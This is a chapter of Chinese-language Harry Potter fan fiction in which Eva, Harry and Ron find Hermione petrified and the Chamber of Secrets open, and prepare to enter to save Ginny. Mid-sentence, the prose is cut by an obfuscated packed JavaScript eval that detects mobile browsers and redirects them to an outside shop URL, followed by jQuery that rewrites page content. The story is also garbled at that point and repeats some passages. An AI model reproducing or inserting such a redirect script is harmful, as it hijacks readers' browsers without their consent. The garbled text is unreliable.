“真的?费尔奇没抓到她?” “不知道。但有人看见她在三楼转悠,好像……在找东西?” 找东西。金妮在找东西。也许是日记本引导她去的——为了确认什么,或者……为了打开什么? 盥洗室。Eva的脑子里闪过这个念头。桃金娘盥洗室在三楼。如果金妮昨晚真的去了那里,如果日记本控制她找到了什么,或者试图打开什么…… 早餐后第一节课是魔咒学。弗立维教授的教室里一如既往地热闹——或者说,试图显得热闹。学生们走进教室时都带着一种刻意的高昂情绪,好像大声说话、用力笑就能驱散城堡里的阴霾。 “早上好!”弗立维教授站在一摞书上,尖嗓子洪亮,“今天我们要学习一个非常实用的咒语——‘修复咒’的进阶,‘精确修复’!这个咒语能让破碎的物体不仅恢复原状,还能修复表面的划痕和瑕疵!” 他示范了一下,用魔杖指向一个故意摔出裂纹的瓷杯:“精确修复!” 一道柔和的银光闪过,瓷杯完美复原,连之前就有的几道旧划痕都消失了。 “关键在于,”弗立维教授强调,“要有‘原状’的清晰想象,同时要‘看到’那些需要修复的细节。现在,两人一组,练习修复这些有划痕的羽毛笔!” Eva和曼蒂一组。曼蒂试了几次,终于让一支羽毛笔的裂痕消失,但笔杆上原有的几道磨损还在。 “该你了。”曼蒂把羽毛笔递过来。 Eva接过羽毛笔。笔杆是深褐色的,上面有几道明显的划痕,还有一小块墨水渍。她闭上眼睛,努力集中精神。 修复。让破碎的东西完整,让受损的东西恢复。 但她脑子里全是金妮那个诡异的微笑,空荡荡的铁盒子,还有那句无声的“找到了”。 “精确修复。” 魔杖尖涌出银光,但不够稳定,微微颤抖。羽毛笔上的裂痕消失了,墨水渍淡了些,但划痕还在,只是变浅了一点。 弗立维教授飘过来,拿起羽毛笔仔细看了看:“修复了主要损伤,但细节处理不够完美。张小姐,你今天似乎有些分心。” “对不起,教授。”Eva低声说。 “没关系,每个人都会有状态不好的时候。”弗立维教授温和地说,但眼神里有一丝担忧,“但魔咒学需要百分之百的专注。任何杂念都会影响效果。” “我明白,教授。” 下课时,弗立维教授布置了作业:“练习‘精确修复’,下周每人上交三件修复好的物品,要求表面瑕疵完全消失。” 走出教室时,曼蒂小声问:“Eva,你没事吧?你今天脸色特别差。” “昨晚没睡好。”Eva含糊地回答。这是实话——她几乎一夜没合眼。 “我也是,”曼蒂叹气,“老做噩梦。梦见墙上那些字在发光,还有……蜘蛛。好多蜘蛛在爬。” 蜘蛛。Eva心里一动。城堡里的蜘蛛确实越来越少了,连地下教室那些常年结网的老住户都不见了。最近蛇怪活动的越来越频繁了。 第二节课是魔法史。宾斯教授飘进教室时,教室里已经安静下来。这位幽灵教授用他特有的、平板单调的声音开始讲课: “今天我们将继续讲述中世纪欧洲巫师与麻瓜的冲突。在1347年,黑死病席卷欧洲,麻瓜们将这场灾难归咎于巫师的魔法……” Eva努力集中精神,但宾斯教授的声音像催眠曲一样,让她眼皮越来越重。她看见前排的曼蒂已经趴在桌上睡着了,帕德玛在偷偷看一本洛哈特的书,丽莎在羊皮纸上画小人。 她看向窗外。雪又下起来了,细细密密的雪花在灰蒙蒙的天空里飘舞。远处禁林的树冠黑沉沉一片,像一头蜷缩着冬眠的巨兽。 她的思绪又飘回金妮身上。 如果日记本真的控制金妮去了盥洗室,那它想做什么?打开密室?但金妮不是蛇佬腔,她怎么打开?除非……日记本本身有某种力量,能模仿或激发蛇佬腔? 或者,日记本只是想确认什么——确认入口的位置,确认管道的情况,确认……时机? 时机。这个词让Eva心里一凛。 袭击的间隔似乎在缩短。洛丽丝夫人在万圣节,贾斯廷在十一月底,科林在十二月初,尼克和厄尼在一月初……像有一个看不见的钟,滴答滴答,越走越快。 下一个会是谁?什么时候? 下课铃响了。Eva跟着人群走出教室,脑子里还在想着这些事。走廊里人很多,返校的学生们挤在一起,说话声嗡嗡响成一片。 就在经过二楼一个拐角时,她看见了金妮。 女孩独自站在墙边,背对着人群,面对着那面曾经写下“密室已经被打开”的墙。现在墙上干干净净,费尔奇显然已经擦洗过了,但石板上还能看到水渍渗透的淡淡痕迹。 金妮站在那里,一动不动,只是盯着墙壁。她的姿势很僵硬,背挺得笔直,手指紧紧攥着袍子下摆。 Eva的脚步慢了下来。她想走过去,想问问金妮怎么了,但理智告诉她不能——现在过去只会吓到这个已经被控制的女孩,而且周围人太多了。 就在她犹豫的时候,金妮突然转过身。 两人的目光在空中相遇。 这次金妮没有笑。她的脸上没有任何表情,眼睛空洞得像两个深不见底的井。她看着Eva,看了大概三秒钟,然后嘴唇无声地动了动。 Eva读出了那个口型: “快了。” 然后金妮低下头,快步走开了,消失在拥挤的人群中。 Eva站在原地,感觉全身的血液都凉了。 快了。什么快了?下一个袭击?密室完全打开?还是……别的什么? Eva站在原地,看着金妮消失在人群里,那个无声的“快了”像一块冰,沉进她的胃里,让她浑身发冷。 她需要立刻找到赫敏。 午饭时间,Eva在礼堂门口拦住了一个拉文克劳二年级男生:“安德鲁,你看到赫敏·格兰杰了吗?” 安德鲁·柯克伯恩正往嘴里塞最后一块糖浆馅饼,含糊地说:“格兰芬多长桌那边?没注意。好像和波特、韦斯莱一起走了。” Eva转身快步走向格兰芬多塔楼的方向。城堡里人太多了,返校的学生们挤在一起,走廊里闹哄哄的。她小心地避开人群,脑子里飞快地转着。 金妮说“快了”——如果是日记本通过她在传递信息,那么这个“快了”很可能意味着……袭击就要发生?还是密室即将打开? 她想起那些越来越密集的水渍,想起蜘蛛几乎绝迹的走廊,想起空气中挥之不去的土腥味。所有的迹象都在累积,像暴风雨前的低气压,闷得人喘不过气。 在去往格兰芬多塔楼的路上,她遇见了纳威·隆巴顿。圆脸男孩正抱着一摞厚厚的草药学课本,看起来快要被压垮了。 “Eva!”纳威看见她,眼睛亮了一下,“你看见哈利他们了吗?” “没有,我也在找他们。” “我刚才在温室帮忙,”纳威喘着气说,“斯普劳特教授说,曼德拉草快成熟了,再有两周就能配制药剂……但她说需要很多材料,有些很难找……” 曼德拉草。石化解除药剂。Eva心里稍微松了一点点——至少还有希望。 “对了,”纳威压低声音,左右看了看,“我听到赫敏和哈利他们在商量……要去图书馆查什么东西。好像很着急。” 图书馆。Eva点点头:“谢谢,纳威。” 她改变方向,转向图书馆。推开厚重的木门时,平斯夫人锐利的目光立刻扫了过来。 “张小姐。”平斯夫人的声音干巴巴的,“你今天已经来过一次了。” “我……我落下了一本笔记,”Eva让自己的声音听起来尽量正常,“很重要的变形术笔记,弗立维教授要检查。” 平斯夫人皱了皱眉,但还是点点头:“快点找,不要逗留。” 图书馆里很安静,只有翻书声和羽毛笔写字的沙沙声。Eva的目光迅速扫过熟悉的位置——靠窗的那排桌子,她和赫敏常坐的地方。 赫敏不在那里。 但她看见了哈利和罗恩——两人坐在角落的一张桌子前,面前摊着一大堆书,头凑得很近,正在低声激烈地争论什么。赫敏不在旁边。 Eva快步走过去。 “哈利,罗恩。” 两人同时抬头,看见是她,都愣了一下。 “Eva?”哈利立刻站起来,绿眼睛里写满了紧张,“怎么了?出什么事了?” “金妮今天早上……”Eva压低声音,快速把日记本失踪、金妮诡异的微笑、还有那个“快了”的口型说了一遍。 罗恩的脸瞬间变得惨白:“她……她昨晚出去了?我怎么不知道?我就在她隔壁!” “日记本可能用了什么方法,”哈利的声音干涩。 “我们需要找到赫敏,”Eva说,“她在哪儿?” “她去查……查一些东西了,”哈利含糊地说,避开了具体内容,“关于……管道系统的。她说如果入口真的在盥洗室,可能需要知道管道怎么走。” 管道系统。Eva心里一紧。赫敏真的在查这个——这意味着她可能已经准备好去验证那个入口了。太危险了。 “什么时候?”Eva问,“她什么时候去的?” “午饭后,”罗恩不安地说,“她说要去……去一趟地下教室那边,查查旧的城堡维修记录。” 地下教室?Eva想起那里有个存放城堡建筑图纸的小房间,平时很少有人去。但如果赫敏独自去那里…… “我去找她。”Eva转身就要走。 “等等!”哈利叫住她,“我跟你一起去。罗恩,你去格兰芬多塔楼,确认下金妮……” “为什么是我回去?”罗恩焦急地问。 “因为金妮信任你,”Eva直视着他,“如果她真的回去了,看到你,也许会有一瞬间的清醒。我们需要那个瞬间。” 哈利听完之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980667|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,立刻补充:“对,罗恩,金妮最听你的。如果有任何不对劲,直接去找麦格教授,就说……就说我们发现了一些关于密室的紧急情况。” 罗恩的脸色更难看了,但还是点了点头。 三人分开。走廊里人少了一些,大部分学生都回公共休息室或去上课了。他们的脚步在空旷的走廊里回响,显得格外急促。 “你觉得赫敏会有危险吗?”哈利边走边问,声音压得很低。 “如果她真的找到了入口的位置,”Eva说,“而且试图打开……日记本可能会察觉。” 哈利没说话,但下颌线绷紧了。 他们走到地下教室区域时,空气明显变冷了。这里比楼上更暗,火把的光在潮湿的墙壁上跳动,投下扭曲的影子。远处传来水滴的声音,嗒,嗒,嗒,像钟表在走。 “维修记录室在最里面,”哈利小声说,“去年费尔奇让我去那里关禁闭时,我看到过。” 他们沿着狭窄的走廊往前走,脚步声在石壁间回荡。越往里走,空气越潮湿,那股土腥味也更重了。Eva下意识地摸了摸腕间的玉佩——它温温的,没有预警,但那种不安的感觉越来越强烈。 维修记录室的门虚掩着。 哈利轻轻推开门。 里面很暗,只有一扇高窗透进微弱的光。房间里堆满了落满灰尘的卷轴和羊皮纸,空气里有浓重的霉味和旧纸张的味道。 赫敏不在里面。 但桌子上摊开着一张巨大的羊皮纸——是城堡的管道系统图。图上用红墨水圈出了一个区域:二楼东侧,女生盥洗室附近。 旁边还摊着几本旧记录簿,页边有折痕,像是最近被翻阅过。Eva凑近看——最上面那本摊开的页面上,记录着五十年前的一次“大规模管道维修”,日期是1943年春天。维修原因是“不明原因的大规模渗漏”,维修地点是“二楼东侧盥洗室及周边管道”。 1943年。桃金娘死去的那一年。 “她来过这里,”哈利低声说,“但她现在去哪儿了?” Eva的目光扫过桌子。在管道图旁边,她看见一小张折起来的羊皮纸条。她拿起纸条,展开—— 字迹很潦草,是赫敏的笔迹: “确认了。入口在桃金娘盥洗室,蛇形水龙头。需要蛇佬腔开启。我去找你们,不要单独行动。——H” 纸条的最后,画了一个小小的箭头,指向门口的方向。 “她去找我们了,”哈利说,“但我们在图书馆,没遇见她……” 就在这时,远处传来一声沉闷的撞击声——咚。 像是什么很重的东西撞在了墙上。 声音是从……上面传来的?二楼? 哈利和Eva同时抬头看向天花板。虽然隔着厚厚的石头,但那声音……太清晰了,而且带着一种不祥的震颤。 紧接着,是一阵嘶嘶声。 不是普通的嘶嘶声,是那种……滑腻的、湿漉漉的,仿佛巨大生物在狭窄空间里爬行的声音。声音由远及近,又由近及远,像是在管道里移动。 哈利的脸瞬间变得惨白。 “你听见了吗?”他低声问,声音在发抖。 Eva点点头。她也听见了——那种声音让人头皮发麻,像冰冷的蛇鳞擦过耳膜。 “是蛇怪,”哈利的声音更低了,“在管道里……它在移动。” “往哪个方向?”Eva强迫自己冷静下来。 哈利抬起一只手示意安静。他的表情瞬间变了,不再是单纯的紧张,而是一种极度专注的、近乎恍惚的神情。他侧着头,眼睛虽然闭上了,但眼球在眼皮下轻微地快速转动,嘴唇无意识地翕动着,仿佛在默念或模仿一种极其古老而拗口的音节。Eva从未见过他这个样子——仿佛整个人的灵魂都被耳朵捕捉到的某种东西吸走了,与周围的世界隔绝开来。 几秒钟后,他的眼睛猛地睁开,绿眼睛里充满了惊悸,但先前的恍惚感还未完全散去。“上面……往二楼去了,”他的声音压得极低,带着一种不自然的平直,像在转译,“不,等等……又下去了……声音更闷了……在地下更深处的管道里……” “你能……听懂它在‘说’什么吗?”罗恩颤声问,显然也被哈利刚才的状态吓到了。 “不是说话,”哈利急促地摇头,似乎想甩掉那种被粘稠声音包裹的感觉,“是……动静。它在移动,很大,很重,在石头管子里爬……鳞片刮擦的声音……还有……一种冰冷的、不耐烦的嘶气声。它在绕圈。像在……找什么东西。或者……在等什么。” 他的眼睛猛地睁开,绿眼睛里充满了惊恐:“它在绕圈。像在……找什么东西。或者……在等什么。” 等什么?等指令?等入口打开? Eva的心跳得飞快。她想起金妮说的“快了”,想起日记本的失踪,想起赫敏可能已经去了盥洗室…… “赫敏可能去了盥洗室,”她说,“如果她试图验证入口,如果日记本察觉了……” “那我们得去!”哈利立刻说,“现在!” 他们冲出维修记录室,沿着来时的路往回跑。脚步声在空荡的地下走廊里回响,像擂鼓一样敲在心头。 跑上楼梯时,Eva差点撞到一个人—— 是罗恩。他气喘吁吁地从楼上冲下来,脸色白得像纸。 “哈利!Eva!”他上气不接下气,“金妮……金妮不见了!” “什么?”哈利猛地停住脚步。 “我……我回格兰芬多塔楼找她,”罗恩的声音里带着哭腔,“她不在公共休息室,不在寝室,哪里都不在!珀西说她吃完早饭就回寝室了,但后来没人看见她!乔治和弗雷德说他们早上听见她房间里……有说话声。但只有她一个人!” 一个人?说话? Eva和哈利交换了一个眼神——日记本。金妮在和日记本“说话”。或者说,日记本在通过她说话。 “她可能去了盥洗室,”Eva说,神情凝重。 “我们得去!”哈利立刻说,“现在!” 走廊里空荡荡的,只有他们急促的脚步声。越靠近盥洗室,空气越潮湿,那股熟悉的土腥味混杂着更浓重的、像是腐烂植物根茎的气味扑面而来。Eva的手心微微出汗,她握紧了魔杖,另一只手无意识地摸了摸腕间的玉佩——温润如常,但那份不安感已经攀升到了顶点。 转过最后一个拐角,那扇熟悉的、铜牌锈蚀的盥洗室门就在眼前。 门虚掩着。 里面传来压抑的、带着颤抖的抽泣声——是桃金娘。 哈利猛地推开门。 盥洗室里光线昏暗。破碎的镜子,剥落的瓷砖,地面上大片的水渍在昏黄的光线下泛着诡异的光。桃金娘飘在最里面的隔间上方,正捂着脸哭泣。 而地面上—— 赫敏·格兰杰倒在那里,一动不动。她的魔杖掉在手边不远处,头发散乱地铺在潮湿的地砖上。最让Eva心头一沉的是,赫敏的姿势很奇怪——她不是趴着或躺着,而是以一种扭曲的角度半靠着墙,头歪向一边,她的脸侧向地面一处不大的水洼。眼睛瞪得大大的,但瞳孔里没有任何神采,只有一种凝固的、极致的惊恐。 52. 湿痕的尽头 盥洗室的门在身后轻轻关上,发出“咔哒”一声轻响,像某种终结的宣告。 Eva站在原地,几秒钟没动。赫敏倒在地上的身影烙在视网膜上,清晰得不真实。那股湿冷的土腥味混杂着旧瓷砖的霉味,灌满了她的鼻腔和肺部。手腕上的玉佩温温的,一如既往地沉默。 哈利第一个冲了过去。 “赫敏!”他跪在赫敏身边,手指颤抖着伸向她的颈侧,确认脉搏后稍稍松了口气,但那口气立刻又被眼前的景象堵了回去。赫敏不是趴着或躺着,而是以一种扭曲的角度半靠着墙,头歪向一边,脸侧向地面一处不大的水洼。她的眼睛瞪得大大的,但瞳孔里没有任何神采,只有一种凝固的、极致的惊恐,仿佛在最后瞬间看到了无法理解的恐怖景象。 罗恩跟在他后面,脸色惨白得像身后的瓷砖,嘴唇哆嗦着发不出声音,只是死死盯着赫敏那张凝固着惊恐的脸。 “她……她还……”罗恩的声音破碎不堪。 “还活着,”Eva快步上前,强迫自己移开视线,不再看赫敏眼睛里的那片死寂,蹲下身仔细检查,“呼吸和心跳都有,但很微弱,像是……被什么强行按了暂停键。”她的目光落在赫敏侧脸旁那滩不大的水洼上——清亮亮的,倒映着天花板上破碎的光影,也倒映着赫敏僵硬的面容。间接视线,通过水面的反射。这就是为什么只是石化,不是死亡。如果她刚才直接看到了那双眼睛…… “是石化。”Eva深吸一口气说,声音尽量保持平稳。 桃金娘从隔间上方飘下来,哭得更厉害了,透明的眼泪像雨点一样洒下来,穿过赫敏僵硬的身体,在地砖上留下一个个模糊的湿点。 “又来了!又来了!”她尖声哭诉,声音在空荡的盥洗室里激起令人烦躁的回音,“跟五十年前一样!我就知道!我就知道那个可怕的东西还在!她为什么不听我的?为什么非要在这里研究那些危险的符号?” “什么东西?”哈利猛地抬头,绿眼睛里燃着火焰,“桃金娘,你看见了什么?刚才发生了什么?详细告诉我们!” “那个女孩!”桃金娘指着赫敏,手指穿透自己的脸颊,“她一个人来的,拿着羊皮纸和书,在那边——”她飘向洗手池的方向,指向那个锈迹斑斑的蛇形水龙头,“——在那里看了好久,用魔杖比划,嘴里念念有词,好像在尝试什么咒语……她还用尺子量墙上的裂缝,在本子上记东西……然后……然后……” 她打了个嗝,透明的身体剧烈颤抖起来:“然后我就听见了!那种声音!从管道深处传来的!湿漉漉的,滑腻腻的,越来越大……我吓坏了,躲进隔间,从门缝往外看……那个女孩也听见了,她转过身,举起魔杖对准水龙头……然后那水龙头突然开始喷水!清亮亮的水,喷得到处都是!地板都湿透了!她往后退,踩到水滑倒了……就在她摔倒的时候……墙壁……墙壁裂开了!” “裂开了?”罗恩的声音尖得走调,他几乎不敢看向桃金娘手指的方向。 “对!就是那里!”桃金娘指向洗手池旁边的墙壁——Eva顺着她的手指看去,心脏猛地一缩。 那里原本应该是一面完整的、贴着老旧白色瓷砖的墙壁,此刻却出现了一道缝隙。不,不是裂缝——更像是两块巨大的石板悄无声息地向两侧滑开,露出了后面黑暗的、深不见底的洞口。洞口呈圆形,边缘是光滑的石头,刻着模糊的、螺旋状的纹路,像是某种古老管道系统的入口,或者……蛇类滑行留下的痕迹。洞口下方,地面上积着一大滩水,清亮得刺眼,正缓缓向四周蔓延,和她之前在城堡各处看到的那些水渍一模一样,只是更大,更集中,像是什么巨大湿滑的东西刚刚经过留下的痕迹。 洞口里吹出阴冷的风,带着浓重的、令人作呕的土腥味和某种爬行动物特有的腥气。风拂过她的脸颊,冰凉刺骨,吹得墙壁上残破的蜘蛛网瑟瑟抖动。那些蜘蛛早就逃走了,Eva想起自己笔记上的记录。 哈利站起来,走向那个洞口。他的脚步很慢,很沉,每一步都像踩在棉花上。他在洞口前停下,蹲下身,仔细看着地面上的水迹,又抬头看向黑暗深处。他侧耳倾听了几秒,脸色变得更加凝重。 “它走了,”哈利的声音很轻,但在这个寂静的空间里异常清晰,“管道深处……声音在远去……往地底更深处去了。但刚才……刚才就在这后面。”他的手指向洞口,指尖微微发颤。 “所以……入口真的在这里?”罗恩的声音在发抖,他站在离洞口几步远的地方,不敢靠近,“赫敏找到了……然后蛇怪出来了……它差点……” “不是差点,”哈利站起来,转身看着他们,绿眼睛里有种让Eva陌生的、冰冷的决心,“它出来了,而且还会再出来。赫敏看到了水里的倒影,所以只是石化。但如果下次有人直接看到……” 他没说完,但所有人都明白。 直接看到,就是死亡。 就像五十年前的桃金娘。 Eva走到洞口边。阴冷的风吹起她的袍角,冰冷的水汽让她打了个寒颤。她看着黑暗中那个深不见底的管道入口,脑子里飞快地闪过这一年来的所有碎片:走廊里清亮的水渍,蜘蛛的逃离,公鸡的死亡,海格的话,汤姆·里德尔的奖杯,金妮越来越苍白的脸,日记本冰冷的触感,赫敏纸条上的“奶制品是关键”,还有刚才金妮那个无声的“快了”。 所有线头在这里汇聚,拧成一股,指向这个黑暗的洞口。 “金妮可能进去了。”她说,声音比想象中平稳。 哈利和罗恩同时转头看她。 “什么?”罗恩的脸瞬间失去了所有血色,他下意识地看向洞口,又猛地摇头,“不……不可能……金妮怎么会……” “日记本不见了,”Eva快速解释,目光没有离开那个洞口,“我今早检查过,我封存它的盒子空了,封印被抹掉了——不是被破坏,是像被什么东西从内部‘解开’了一样。金妮今天早上的样子……那种诡异的平静。如果日记本控制了她,如果它需要蛇佬腔打开入口,而它自己做不到……那么它可能会利用金妮进去。或者……让金妮自己进去完成什么。” “完成什么?”哈利的声音干涩,但他已经想到了最坏的可能,“为什么带金妮进去?” Eva沉默了几秒。为什么?赫敏关于魂器的可怕猜测在她脑中回响。如果那日记真的是那种东西,如果它需要生命力维持或完成某种黑暗的仪式……金妮就是它最后的养料。或者,金妮是“钥匙”,是“容器”,是达成某个目的——比如让里德尔完全复活的最后一环。但这些都是基于最黑暗传说的猜测,她不能说,尤其是在罗恩面前。 “不知道,”她最终说,选择了更安全的措辞,“但我们得假设最坏的情况。那本日记非常邪门,它主动回到金妮身边,一定有所图谋。如果金妮在里面,每多一分钟就多一分危险。” “进去?”罗恩的声音拔高了,他指着那个黑洞洞的入口,又看看地上石化的赫敏,“那里面是蛇怪!它会杀了我们!就像它差点杀了赫敏!” “金妮在里面,”哈利打断他,语气不容置疑,但Eva能听出里面强压着的颤抖,“她是我们的朋友,是我们的妹妹。而且……”他看向Eva,“你说日记本可能控制了她。如果我们不进去,她会怎样?被日记本彻底吸干?或者变成……别的什么?” 会死。或者比死更糟。 Eva没说话,但她知道哈利明白。罗恩也明白,他的脸痛苦地扭曲着,拳头攥得死紧。 “可是我们怎么下去?”罗恩看着那个黑洞洞的入口,声音发颤,“连梯子都没有!而且下面有什么?多深?我们会摔死的!” 哈利走到洞口边缘,蹲下身,不顾Eva“小心”的提醒,伸出手探进黑暗里。几秒钟后,他缩回手,手指上沾着湿漉漉的、滑腻腻的透明黏液,在昏暗的光线下泛着微光。 “不是垂直的,”他说,在袍子上擦了擦手,眉头紧皱,“是斜的,像滑梯,坡度挺陡。而且很滑,应该是蛇怪爬行时留下的……分泌物。”他顿了顿,“我们得滑下去。” “我们要滑下去?”罗恩的眼睛瞪得像铜铃,几乎是吼出来的,“滑到可能有蛇怪的地方?哈利,你疯了?它会杀了我们!它会石化我们!或者直接……” 哈利深吸一口气,转向罗恩,又看了一眼Eva。他的眼神很复杂,有决心,有担忧,还有一种……十二岁男孩试图在绝境中扮演保护者的固执。“罗恩说得对。这下面有什么,谁也不知道。有多危险,我们刚才都看到了。” “你们俩留在这里。”他的声音变得异常清晰,不容置疑,但Eva听出了里面一丝不易察觉的恳求,“罗恩,你去找教授,越快越好,告诉他们入口在这里,蛇怪刚离开不久,还有金妮可能在里面。赫敏需要有人看着,万一……万一蛇怪回来。” 他的目光转向Eva,语气变得严肃而清晰,“Eva,你也留下。你和罗恩一起,把这里发生的事原原本本地告诉麦格教授或者邓布利多教授。这是最要紧的事。” Eva愣住了。不是因为害怕,而是一种熟悉的、温热的堵塞感哽在喉咙——就像去年看着哈利喝下那瓶药水,独自走向棋盘尽头的黑国王时一样。他总是这样。总是试图把最危险的部分留给自己。 罗恩也愣住了,然后猛地摇头,红头发甩得像个愤怒的狮子:“不!哈利,你疯了吗?一个人下去?那是送死!” “我不是去送死,”哈利打断他,语气急促但坚定,“我是去找金妮。而且……”他看了一眼那个黑暗的洞口,“我是蛇佬腔。我能听见它,也许……也许能提前避开它。” “可是你需要帮手!”罗恩急得脸都红了,“你需要人看着你的后背!下面那么黑,你需要照明!需要……” “需要计划,”哈利接过话头,努力让自己听起来有条理,“所以你们留下来就是计划的一部分。你们去叫教授,教授们来了,才能救所有人。我一个人下去,目标小,更容易隐藏。如果……如果我真的遇到蛇怪,至少你们在外面,知道发生了什么,知道入口在哪里。” 他说得好像很有道理,但Eva听出了里面的破绽——一个人下去,在完全陌生、黑暗、狭窄的环境里,遇到一条五十英尺长、目光能杀人的蛇怪,生还的可能性几乎为零。哈利是在赌命,而且想把她们排除在危险之外。 她看着哈利紧绷的下颌线,看着他握着魔杖、微微发抖却用力攥紧的手,看着他额头上那道在昏暗光线下格外清晰的疤痕。她想起一年级时,他骑着扫帚冲向金色飞贼的样子;想起他在地下房间挡在她面前的样子;想起他在棋盘上走向黑国王时的背影。他一直是这样,把危险揽到自己身上,觉得这样可以保护别人。 但这次不一样。下面不只是蛇怪,还有被那本诡异日记控制的金妮,还有可能存在的陷阱和未知的黑暗魔法。哈利一个人,太危险了。 而且……爷爷说过,“稳不在静,在看清脚下”。现在,她看清了——他们已经站在了真相的门前,洞口已经打开了,赫敏被石化了,金妮在里面生死未卜,那本日记的邪异远超想象。退回去叫教授也许是最稳妥的选择,但时间呢?等教授们赶到,讨论方案,组织人手,再顺着滑道下去,找到他们……金妮还能等那么久吗?那本日记会给她那么多时间吗? “哈利,”她轻声开口,声音在寂静的盥洗室里显得格外清晰,让哈利和罗恩都转过头来,“金妮可能不只是被带进去那么简单。那本日记……比我们想的更邪门。它有自己的意识,它在利用金妮。如果它控制了金妮,可能需要特别的……方法才能让她清醒,或者阻止它完成想做的事。你一个人,可能应付不了。” 哈利看着她,绿眼睛里闪过一丝动摇,但随即又被固执取代:“所以我才要你们安全地待在外面!如果我……如果我出不来,至少你们知道发生了什么,可以告诉教授们该怎么对付它!” “不!”罗恩几乎是吼出来的,眼泪终于夺眶而出,“要么我们一起去,要么谁也别去!我不能让你一个人下去送死!金妮是我妹妹,但你是……你是我最好的朋友!” “罗恩说得对,”她说,声音不大,但很坚定,带着一种不容置疑的冷静,“我们不能让你一个人下去。下面太危险,你需要帮手。” 她顿了顿,看着哈利想要反驳的表情,快速分析道:“我们需要分散风险。罗恩回去报信是最重要的,必须有人确保教授们知道我们在这里,知道入口的位置,知道赫敏的情况。而且,罗恩对城堡最熟,跑得最快,他能用最短时间找到教授。”她看向罗恩,眼神坚定,“这是最重要的任务,罗恩。如果我们都下去了,万一……万一都出不来,教授们可能很久都不知道我们在哪里,不知道入口就在这里。” 罗恩张了张嘴,脸涨红了,他看看哈利,又看看Eva,最后看向地上石化的赫敏和那个黑洞洞的入口。对妹妹的担忧、对朋友的忠诚、以及对“最重要任务”的责任感在他眼中激烈交战。 “而且,”Eva继续说,转向哈利,“我也许……能帮上忙。我爷爷教过我一些东西,关于如何应对‘不干净’的、有自主 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“正因为金妮是你妹妹,”哈利深吸一口气,转向罗恩,语气终于变得坚定而清晰,做出了决定,“你回去报信,才能最快地把教授们带来!如果我们都下去了,万一……万一出了什么事,教授们可能很久都不知道我们在这里!Eva说的对,需要有人确保消息传出去。罗恩,你跑得快,你对城堡更熟,你知道怎么最快地找到教授。这是最重要的任务!金妮需要教授们的帮助,赫敏也需要!” 罗恩的脸涨红了,他张了张嘴,想反驳,但哈利的话戳中了他最焦虑的一点——如果没人知道他们在哪里,如果没人来救金妮和哈利……他看了看倒在地上的赫敏,又看了看那个黑洞洞的入口,最终,对妹妹的担忧和“最重要任务”的责任感压过了恐惧。他用力点了点头,声音还有些发颤,但已经坚定了许多:“好……好吧。我去找教授!用最快的速度!但你们……你们一定要小心!绝对不要看它的眼睛!找到金妮就……就躲起来,等我们来!答应我!” “我们会的。”哈利承诺道,然后看向Eva,眼神里还有一丝最后的犹豫和担忧,“Eva,你确定吗?下面可能……非常糟糕。我不知道下面有什么,不知道能不能保护你……” “我确定。”Eva打断他,声音平稳,甚至对他微微弯了弯嘴角,那是一个很浅的、安抚性的笑容,“我们互相照应。” 哈利终于还是点点头,深吸一口气,转向那个洞口。“我们需要镜子,或者……任何能反光的东西。任何能让我们不用直接看它就能看到它的东西。” Eva环顾四周。盥洗室里除了破碎的镜子和生锈的水龙头,什么都没有。阴冷的风从洞口吹来,带着地底深处令人不安的气味。她下意识地摸了摸胸口贴近心口的内袋——那里放着爷爷给的锦囊。 “危急时用”。现在算危急吗?下面除了蛇怪,还有那本像活物一样会跑回主人身边的日记,还有被它攥在手心里的金妮。爷爷没说锦囊里的东西能对付怪物,但……如果那日记的“根”真如他所说,这锦囊里的东西,会不会是拔“根”用的? 这个念头让她心跳快了一拍。她不再犹豫,当着小心的将锦囊取出,打开。里面没有符咒,没有法器,只有三样东西:一小撮用红绳系着的干枯草药(闻起来像艾草,带着淡淡的、令人心神宁静的清香),一块拇指大小、温润光滑的黑色石头(触手生温,在昏暗光线下泛着幽微的光泽),还有一张折叠起来的、极薄的黄色符纸,上面用朱砂画着她看不懂的复杂符文,笔画遒劲,透着一股古老而神秘的气息。 “这是什么?”哈利凑过来看,绿眼睛里带着好奇和一丝希望。 “这是我爷爷给的,”Eva简短地解释,声音不大,但很稳,“他说,如果遇到……‘不是用魔杖能解决的东西’,或者‘心里觉得没底了’,再打开。”她没有说“它能救我们”,因为爷爷也没那么说。她只说出了爷爷的原话,这让这些物品的用途依然笼罩在合理的未知中,但也带来了一线希望。 她拿起那块黑石,石头在手心里持续散发着稳定的暖意,奇异地安抚了她指尖的冰凉。“这个至少是暖的,也许……”她没说下去,但意思很明显:在阴冷的地底,一点温暖和光明可能也很重要。 哈利接过去看了看,石面光滑如镜,能模糊地映出人影,但在这种光线下作为镜子不够清晰。“反光效果一般,但至少能映出轮廓……而且暖的,总比没有好。”他递还给Eva,眼神里多了份复杂的意味——那是对她背后那个未知世界的一丝认知,也是对她此刻分享“底牌”的感激和由此而生的一丝信心。 罗恩在洗手池那边翻找,突然叫起来:“这里!这个!” 他举起一个破旧的、边缘有点变形的黄铜肥皂盒,内壁虽然磨损了,但还能反光。“这个行吗?还有这些——”他又从地上捡起几片破碎的镜片,最大的那片有手掌大,边缘锋利,但镜面还算完整。 “可以试试。”哈利接过肥皂盒和镜片,掂量了一下,“我们把这些分一分。进去之后,用这些东西看路,看周围,绝对不要直接用眼睛看任何可能是眼睛的东西。罗恩,你也拿一片,去找教授的路上以防万一。”他将一片较小的镜片递给罗恩。 Eva接过一片较大的镜片,边缘锋利,她用一个简单的软化咒让锋利的边缘变得不那么割手(弗立维教授上学期教过的小技巧)。然后她小心地将草药和符纸收回锦囊,塞回贴身的衣袋,黑石则握在左手手心,镜片握在右手,魔杖插回袍子上的口袋以便随时取用。 准备就绪。哈利打头,Eva紧随其后,罗恩站在洞口边,脸色苍白但眼神坚定,手里紧紧攥着那片小镜片和魔杖。 